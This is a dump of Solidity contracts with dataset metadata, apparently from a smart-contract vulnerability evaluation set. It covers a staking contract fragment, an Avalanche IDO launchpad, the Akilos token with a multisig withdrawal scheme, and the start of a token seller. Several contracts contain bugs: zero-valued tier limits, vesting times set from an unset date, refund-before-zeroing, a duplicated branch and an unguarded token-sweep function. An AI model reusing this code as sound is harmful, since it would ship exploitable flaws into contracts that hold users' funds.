IERC20(OTWO).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sOTWO).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(OTWO).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return ISOTWO(sOTWO).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
ISOTWO(sOTWO).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = ISOTWO(sOTWO).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(OTWO).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sOTWO).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sOTWO).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 75,192 | 13,966 |
0c39011c73d514bf491ae3d33477949f7ed03181ecad0c4db85d93ccd42023b2
| 19,658 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5d/5d18F03C605Ee94b68E6898a25ff112f0e36Abe1_AvazoneLaunchpad.sol
| 4,963 | 18,817 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"Only Owner!");
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() public {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _nonReentrantAfter() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IToken {
function transfer(address to, uint256 tokens) external returns (bool success);
function burn(uint256 _amount) external;
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
}
interface IAvazoneStake{
function userTierLevel(address _wallet) external view returns (uint256);
}
contract AvazoneIDOContract is Owned {
using SafeMath for uint256;
bool public isPresaleOpen;
//@dev ERC20 token address and decimals
address public tokenAddress;
uint256 public tokenDecimals;
uint256 public totalSolded = 0;
uint256 public endDate;
address public routerAddr;
address public stakeContract;
uint256 public HardCap;
//@dev amount of tokens per Avax 100 indicates 1 token per avax
uint256 public tokenRatePerAvax;
//@dev decimal for tokenRatePerAvax,
uint256 public rateDecimals = 0;
// level multipliers
uint256 public level1multiplier = 10;
uint256 public level2multiplier = 25;
uint256 public level3multiplier = 35;
uint256 public level4multiplier = 45;
uint256 public level5multiplier = 55;
// tier Level limits
uint256 public tier1AvaxLimit = (HardCap * level1multiplier) / 100;
uint256 public tier2AvaxLimit = (HardCap * level2multiplier) / 100;
uint256 public tier3AvaxLimit = (HardCap * level3multiplier) / 100;
uint256 public tier4AvaxLimit = (HardCap * level4multiplier) / 100;
uint256 public tier5AvaxLimit = (HardCap * level5multiplier) / 100;
address public recipient;
bool public refundActive = false;
mapping(address=>uint256) public userAvaxLimit;
mapping(address=>uint256) public userAvaxBalance;
struct VestingPlan{
uint256 totalBalance;
uint256 aviableBalance;
uint256 timeStage;
}
mapping(address=>VestingPlan) public vestingBalance;
// Withdraw Times
uint256 public withdrawVestingTime1 = endDate;
uint256 public withdrawVestingTime2 = withdrawVestingTime1 + 30 days;
uint256 public withdrawVestingTime3 = withdrawVestingTime2 + 30 days;
uint256 public withdrawVestingTime4 = withdrawVestingTime3 + 30 days;
// Vesting Percents
uint256 public vestingPercent1 = 25;
uint256 public vestingPercent2 = 25;
uint256 public vestingPercent3 = 25;
uint256 public vestingPercent4 = 25;
constructor(address _token,
uint256 _tokenDecimals,
uint256 _tokenRatePerAvax,
uint256 _endDate,
address _recipient ,
address _routerAddr,
address _stakeContract,
uint256 _HardCap,
uint256 _level1multiplier,
uint256 _level2multiplier,
uint256 _level3multiplier,
uint256 _level4multiplier) public {
tokenAddress = _token;
tokenDecimals = _tokenDecimals;
tokenRatePerAvax = _tokenRatePerAvax;
endDate = _endDate;
recipient = _recipient;
routerAddr =_routerAddr;
stakeContract = _stakeContract;
HardCap = _HardCap;
level1multiplier = _level1multiplier;
level2multiplier = _level2multiplier;
level3multiplier = _level3multiplier;
level4multiplier = _level4multiplier;
}
function name() public view returns(string memory){
return IToken(tokenAddress).name();
}
function symbol() public view returns(string memory){
return IToken(tokenAddress).symbol();
}
function decimal() public view returns(uint8){
return IToken(tokenAddress).decimals();
}
function totalSupply() public view returns(uint256){
return IToken(tokenAddress).totalSupply();
}
function startPresale() external onlyOwner {
require(!isPresaleOpen, "Presale is open");
isPresaleOpen = true;
}
function closePrsale() external onlyOwner {
require(isPresaleOpen, "Presale is not open yet.");
isPresaleOpen = false;
}
function setTokenDecimals(uint256 decimals) external onlyOwner {
tokenDecimals = decimals;
}
function setVestingPercent(uint256 _vestingPercent1 , uint256 _vestingPercent2 , uint256 _vestingPercent3, uint256 _vestingPercent4) external onlyOwner {
require(_vestingPercent1 + _vestingPercent2 + _vestingPercent3 + _vestingPercent4 == 100,"Total should be 100");
vestingPercent1 = _vestingPercent1;
vestingPercent2 = _vestingPercent2;
vestingPercent3 = _vestingPercent3;
vestingPercent4 = _vestingPercent4;
}
function setLevelMultiplier(uint256 _level1multiplier , uint256 _level2multiplier , uint256 _level3multiplier, uint256 _level4multiplier , uint256 _level5multiplier) external onlyOwner {
level1multiplier = _level1multiplier;
level2multiplier = _level2multiplier;
level3multiplier = _level3multiplier;
level4multiplier = _level4multiplier;
level5multiplier = _level5multiplier;
}
function setTokenRatePerAvax(uint256 rate) external onlyOwner {
tokenRatePerAvax = rate;
}
function setEndDate(uint256 _endDate) external onlyOwner {
endDate = _endDate;
}
function setRateDecimals(uint256 decimals) external onlyOwner {
rateDecimals = decimals;
}
function buyToken(address wallet) public payable {
require(msg.sender == routerAddr ,"Only Router Address!");
require(msg.sender != address(0) ,"zero address cannot be used");
require(isPresaleOpen, "Presale is not open.");
require(msg.value>0,"value must be greater than 0");
require(block.timestamp<endDate,"The purchase cannot be made because the sale period has expired.");
uint256 userTierLevel = IAvazoneStake(stakeContract).userTierLevel(wallet);
uint256 limit;
if(userTierLevel == 0){
limit = 0;
} else if(userTierLevel == 1){
limit = tier1AvaxLimit;
}
else if(userTierLevel == 2){
limit = tier2AvaxLimit;
}
else if(userTierLevel == 3){
limit = tier3AvaxLimit;
}
else if(userTierLevel == 4){
limit = tier4AvaxLimit;
}
else if(userTierLevel == 5){
limit = tier5AvaxLimit;
}
require(limit>0,"You do not have the right to buy. You must be at least Level 1");
require(userAvaxLimit[wallet]<=limit,"You cannot buy more.");
userAvaxLimit[wallet] = userAvaxLimit[wallet] + msg.value;
userAvaxBalance[wallet] = userAvaxBalance[wallet]+ msg.value;
//@dev calculate the amount of tokens to transfer for the given avax
uint256 tokenAmount = getTokensPerAvax(msg.value);
vestingBalance[wallet].totalBalance = vestingBalance[wallet].totalBalance + tokenAmount;
vestingBalance[wallet].aviableBalance = vestingBalance[wallet].aviableBalance + tokenAmount;
totalSolded = totalSolded + msg.value;
}
function withdrawAvax() external onlyOwner{
payable(recipient).transfer(address(this).balance);
}
function refundUserAvaxBalance() external {
require(refundActive,"Refund Not Active");
require(userAvaxBalance[msg.sender]>0,"You not have Avax");
uint256 userBalance = userAvaxBalance[msg.sender];
payable(msg.sender).transfer(userBalance);
userAvaxBalance[msg.sender] = 0;
}
function withdrawToken() public {
require(block.timestamp>endDate,"You cannot withdraw because the sale period has not expired.");
require(vestingBalance[msg.sender].aviableBalance > 0, "You do not have any tokens to withdraw.");
uint256 userAmount = vestingBalance[msg.sender].totalBalance;
uint256 withdrawAmount;
if(vestingBalance[msg.sender].timeStage == 0){
require(block.timestamp>withdrawVestingTime1,"It's not time to withdraw");
withdrawAmount = (userAmount * vestingPercent1) / 100;
vestingBalance[msg.sender].aviableBalance = vestingBalance[msg.sender].aviableBalance - withdrawAmount;
vestingBalance[msg.sender].timeStage = vestingBalance[msg.sender].timeStage + 1;
}else if(vestingBalance[msg.sender].timeStage == 1){
require(block.timestamp>withdrawVestingTime2,"It's not time to withdraw");
withdrawAmount = (userAmount * vestingPercent2) / 100;
vestingBalance[msg.sender].aviableBalance = vestingBalance[msg.sender].aviableBalance - withdrawAmount;
vestingBalance[msg.sender].timeStage = vestingBalance[msg.sender].timeStage + 1;
}else if(vestingBalance[msg.sender].timeStage == 2){
require(block.timestamp>withdrawVestingTime3,"It's not time to withdraw");
withdrawAmount = (userAmount * vestingPercent3) / 100;
vestingBalance[msg.sender].aviableBalance = vestingBalance[msg.sender].aviableBalance - withdrawAmount;
vestingBalance[msg.sender].timeStage = vestingBalance[msg.sender].timeStage + 1;
}else if(vestingBalance[msg.sender].timeStage == 3){
require(block.timestamp>withdrawVestingTime4,"It's not time to withdraw");
withdrawAmount = (userAmount * vestingPercent4) / 100;
vestingBalance[msg.sender].aviableBalance = vestingBalance[msg.sender].aviableBalance - withdrawAmount;
vestingBalance[msg.sender].aviableBalance = 0;
}
require(IToken(tokenAddress).transfer(msg.sender, withdrawAmount), "Insufficient balance of presale contract!");
}
function userTimeStageTimeStamp(address _wallet) public view returns(uint256){
if(vestingBalance[_wallet].timeStage == 0){
return withdrawVestingTime1;
} else if(vestingBalance[_wallet].timeStage == 1){
return withdrawVestingTime2;
}
else if(vestingBalance[_wallet].timeStage == 2){
return withdrawVestingTime3;
}
else if(vestingBalance[_wallet].timeStage == 2){
return withdrawVestingTime4;
}
}
function getTokensPerAvax(uint256 amount) internal view returns(uint256) {
return amount.mul(tokenRatePerAvax).div(10**(uint256(18).sub(tokenDecimals).add(rateDecimals)));
}
function burnUnsoldTokens() external onlyOwner {
require(!isPresaleOpen, "You cannot burn tokens untitl the presale is closed.");
IToken(tokenAddress).transfer(0x000000000000000000000000000000000000dEaD,IToken(tokenAddress).balanceOf(address(this)));
}
function getUnsoldTokens() external onlyOwner {
require(!isPresaleOpen, "You cannot get tokens until the presale is closed.");
IToken(tokenAddress).transfer(recipient, IToken(tokenAddress).balanceOf(address(this)));
}
}
interface IAvazoneIDOContract {
function startPresale() external;
function closePrsale() external;
function setTokenDecimals(uint256 _decimal) external;
function setTokenRatePerAvax(uint256 rate) external;
function setRateDecimals(uint256 decimals) external;
function setEndDate(uint256 _endDate) external;
function buyToken(address wallet) external payable;
function setVestingPercent(uint256 _vestingPercent1 , uint256 _vestingPercent2 , uint256 _vestingPercent3, uint256 _vestingPercent4) external;
function setLevelMultiplier(uint256 _level1multiplier , uint256 _level2multiplier , uint256 _level3multiplier, uint256 _level4multiplier , uint256 _level5multiplier) external;
}
contract AvazoneLaunchpad is Owned ,ReentrancyGuard{
struct IDOinfo{
address TokenContract;
uint256 TokenDecimal;
uint256 endDate;
uint256 ratePerAvax;
address recipient;
}
uint256 public level1multiplier = 10;
uint256 public level2multiplier = 20;
uint256 public level3multiplier = 35;
uint256 public level4multiplier = 55;
uint256 public level5multiplier = 60;
mapping(address => IDOinfo) public IdoInformations;
mapping(uint256 => address) public IdoAddressList;
mapping(address => address[]) private userJoinedIDOlist;
mapping(address => mapping(address => bool)) public userContractBuyControl;
address stakeContract;
uint256 public idoID = 0;
constructor(address _stakeContract) public {
stakeContract = _stakeContract;
}
function CreateIDO(address _token, uint256 _tokenDecimals, uint256 _tokenRatePerAvax, uint256 _endDate, address _recipient , uint256 _hardcap) public {
AvazoneIDOContract IDO = new AvazoneIDOContract(_token,_tokenDecimals, _tokenRatePerAvax, _endDate,_recipient,address(this),stakeContract ,(_hardcap*10**18),
level1multiplier,level2multiplier,level3multiplier,level4multiplier);
IdoInformations[address(IDO)] = IDOinfo(_token,_tokenDecimals,_endDate,_tokenRatePerAvax,_recipient);
IdoAddressList[idoID] = address(IDO);
idoID++;
}
function PresaleStart(address contractAddr) public onlyOwner{
IAvazoneIDOContract(contractAddr).startPresale();
}
function setStakeContract(address _contract) public onlyOwner{
require(_contract != address(0) ,"address cannot be zero address");
stakeContract = _contract;
}
function PresaleClose(address contractAddr) public onlyOwner{
IAvazoneIDOContract(contractAddr).closePrsale();
}
function setTokenDecimals(address contractAddr , uint256 _decimal) public onlyOwner{
IdoInformations[contractAddr].TokenDecimal=_decimal;
IAvazoneIDOContract(contractAddr).setTokenDecimals(_decimal);
}
function setTokenRatePerAvax(address contractAddr , uint256 _rate) public onlyOwner{
IdoInformations[contractAddr].ratePerAvax=_rate;
IAvazoneIDOContract(contractAddr).setTokenRatePerAvax(_rate);
}
function setRateDecimals(address contractAddr , uint256 _decimals) public onlyOwner{
IAvazoneIDOContract(contractAddr).setRateDecimals(_decimals);
}
function setEndDate(address contractAddr , uint256 _endDate) public onlyOwner{
IAvazoneIDOContract(contractAddr).setEndDate(_endDate);
}
function setVestingPercent(address contractAddr , uint256 _Percent1,uint256 _Percent2,uint256 _Percent3,uint256 _Percent4) public onlyOwner{
IAvazoneIDOContract(contractAddr).setVestingPercent(_Percent1,_Percent2,_Percent3,_Percent4);
}
function setLevelMultiplier(address contractAddr,uint256 _level1multiplier , uint256 _level2multiplier , uint256 _level3multiplier, uint256 _level4multiplier, uint256 _level5multiplier) public onlyOwner{
IAvazoneIDOContract(contractAddr).setLevelMultiplier(_level1multiplier,_level2multiplier,_level3multiplier,_level4multiplier,_level5multiplier);
}
function buyTokenIDO(address contractAddr) public payable{
IAvazoneIDOContract(contractAddr).buyToken{value:msg.value}(msg.sender);
if(userContractBuyControl[msg.sender][contractAddr] == false){
userJoinedIDOlist[msg.sender].push(contractAddr);
}
userContractBuyControl[msg.sender][contractAddr] = true;
}
function getUserJoinedIDOLists(address _userAddress) public view returns (address[] memory IDlist){
return userJoinedIDOlist[_userAddress];
}
}
| 112,314 | 13,967 |
f7bd173fcf93e6eb8bb13f68323f504e93183aedfcee111e62a1e5b172498c5d
| 13,925 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xf4f5271c9d6f23cc00f93625b502f88d289a1607.sol
| 3,017 | 13,793 |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'ALS' 'Akilos' token contract
//
// Symbol : ALS
// Name : Akilos
// Total supply: 15,000,000.000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
// ----------------------------------------------------------------------------
// Withdraw Confirmation contract
// ----------------------------------------------------------------------------
contract WithdrawConfirmation is Owned {
event Confirmation(address indexed sender, uint indexed withdrawId);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WithdrawCreated(address indexed destination, uint indexed value, uint indexed id);
event Execution(uint indexed withdrawId);
event ExecutionFailure(uint indexed withdrawId);
mapping(address => bool) public isOwner;
mapping(uint => Withdraw) public withdraws;
mapping(uint => mapping(address => bool)) public confirmations;
address[] public owners;
uint public withdrawCount;
struct Withdraw {
address destination;
uint value;
bool executed;
}
modifier hasPermission() {
require(isOwner[msg.sender]);
_;
}
modifier ownerDoesNotExist(address _owner) {
require(!isOwner[_owner]);
_;
}
modifier ownerExists(address _owner) {
require(isOwner[_owner]);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier notConfirmed(uint withdrawId, address _owner) {
require(!confirmations[withdrawId][_owner]);
_;
}
modifier withdrawExists(uint withdrawId) {
require(withdraws[withdrawId].destination != 0);
_;
}
modifier confirmed(uint withdrawId, address _owner) {
require(confirmations[withdrawId][_owner]);
_;
}
modifier notExecuted(uint withdrawId) {
require(!withdraws[withdrawId].executed);
_;
}
constructor() public {
owners.push(owner);
isOwner[owner] = true;
}
function addOwner(address _owner) public ownerDoesNotExist(_owner) hasPermission {
isOwner[_owner] = true;
owners.push(_owner);
emit OwnerAddition(_owner);
}
function removeOwner(address _owner) public ownerExists(_owner) hasPermission {
require(_owner != owner);
isOwner[_owner] = false;
for(uint i=0; i < owners.length - 1; i++) {
if(owners[i] == _owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
emit OwnerRemoval(_owner);
}
function createWithdraw(address to, uint value) public ownerExists(msg.sender) notNull(to) {
uint withdrawId = withdrawCount;
withdraws[withdrawId] = Withdraw({
destination: to,
value: value,
executed: false
});
withdrawCount += 1;
confirmations[withdrawId][msg.sender] = true;
emit WithdrawCreated(to, value, withdrawId);
executeWithdraw(withdrawId);
}
function isConfirmed(uint withdrawId) public constant returns(bool) {
for(uint i=0; i < owners.length; i++) {
if(!confirmations[withdrawId][owners[i]])
return false;
}
return true;
}
function confirmWithdraw(uint withdrawId) public ownerExists(msg.sender) withdrawExists(withdrawId) notConfirmed(withdrawId, msg.sender) {
confirmations[withdrawId][msg.sender] = true;
emit Confirmation(msg.sender, withdrawId);
executeWithdraw(withdrawId);
}
function executeWithdraw(uint withdrawId) public ownerExists(msg.sender) confirmed(withdrawId, msg.sender) notExecuted(withdrawId) {
if(isConfirmed(withdrawId)) {
Withdraw storage with = withdraws[withdrawId];
with.executed = true;
if(with.destination.send(with.value))
emit Execution(withdrawId);
else {
emit ExecutionFailure(withdrawId);
with.executed = false;
}
}
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ----------------------------------------------------------------------------
contract AkilosToken is ERC20Interface, Owned, WithdrawConfirmation {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
bool public started = false;
uint public currentRate;
uint public minimalInvestment = 0.1 ether;
uint public currentRoundSales;
uint public roundNumber;
uint public roundOneTotal;
uint public roundTwoTotal;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Burn(address indexed from, uint value);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "ALS";
name = "Akilos";
decimals = 18;
_totalSupply = 15000000 * 10**uint(decimals);
roundOneTotal = 3000000 * 10**uint(decimals);
roundTwoTotal = 7000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function setCurrentRate(uint _rate) public onlyOwner () {
currentRate = _rate;
}
function setStarted(bool _started) public onlyOwner () {
started = _started;
}
function setRoundNumber(uint _roundNumber) public onlyOwner () {
roundNumber = _roundNumber;
}
function resetCurrentRoundSales() public onlyOwner () {
currentRoundSales = 0;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Accept Ether
// ------------------------------------------------------------------------
function () public payable {
require(started);
require(msg.value >= minimalInvestment);
require(currentRate != 0);
require(roundNumber != 0);
uint tokens;
tokens = msg.value * currentRate;
if(roundNumber == 1) {
require(currentRoundSales.add(tokens) <= roundOneTotal);
}
if(roundNumber == 2) {
require(currentRoundSales.add(tokens) <= roundTwoTotal);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[owner] = balances[owner].sub(tokens);
currentRoundSales = currentRoundSales.add(tokens);
emit Transfer(owner, msg.sender, tokens);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Burn
// ------------------------------------------------------------------------
function burn(uint _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
require(_value > 0); // Check if the sender has enough
balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender
_totalSupply = _totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
}
| 178,315 | 13,968 |
104ccd92c08ba53bf1014b7aaf89a68b9e9dc6358a7b1b2b0bfbbf29b70795d2
| 12,107 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0xcbbfc2ce0c227fb40295954caf01b7345edb1248.sol
| 2,467 | 9,703 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0,""); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0,"");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
_owner = msg.sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(),"owner required");
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),"");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EIP20Interface {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CryptojoyTokenSeller is Ownable {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint public miningSupply; // minable part
uint constant MAGNITUDE = 10**6;
uint constant LOG1DOT5 = 405465; // log(1.5) under MAGNITUDE
uint constant THREE_SECOND= 15 * MAGNITUDE / 10; // 1.5 under MAGNITUDE
uint public a; // paremeter a of the price fuction price = a*log(t)+b, 18 decimals
uint public b; // paremeter b of the price fuction price = a*log(t)+b, 18 decimals
